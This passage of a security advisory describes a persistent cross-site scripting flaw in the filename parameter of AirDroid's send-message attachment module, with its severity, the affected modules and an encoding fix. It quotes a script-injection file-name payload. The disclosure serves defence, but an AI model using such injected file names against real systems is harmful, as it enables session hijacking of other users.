Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered  in the 
official SandStudio AirDroid (windows, ios and android) mobile web-application.
The vulnerability allows remote attacker or low privilege user accounts to 
inject malicious codes to the application-side of the affected mobile 
web-application.

The vulnerability is located in the send messages and the send message with an 
attached file  module. Remote attackers with low privilege user account are 
able to upload file name 
with malicious strings like ``><script>alert(1).txt. On the arrival inbox 
occurs the execution of the malicious code that compromises the other target 
system/device user account.
The vulnerability is located on the application-side and the request method to 
inject is POST.

The security risk of the application-side web vulnerability is estimated as 
medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the application-side web vulnerability requires a low privilege 
web-application user account and low user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing 
mails, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module 
context.

Request Method(s):
                                                [+] POST

Vulnerable Module(s):
                                                [+] Send Message

Vulnerable Parameter(s):
                                                [+] filename

Affected Module(s):
                                                [+] Message Inbox


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privilege 
application user account and low user interaction (click).

Note: We demonstrated the poc by usage of the web-app but the local app is also 
vulnerable to the same issue!


Solution - Fix & Patch:
=======================
The vulnerbaility can be patched by a secure parse and encode of the vulnerable 
filename value in the send message module with the attach file function.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in 
the airdroid app is estimated as medium. (CVSS 3.9)
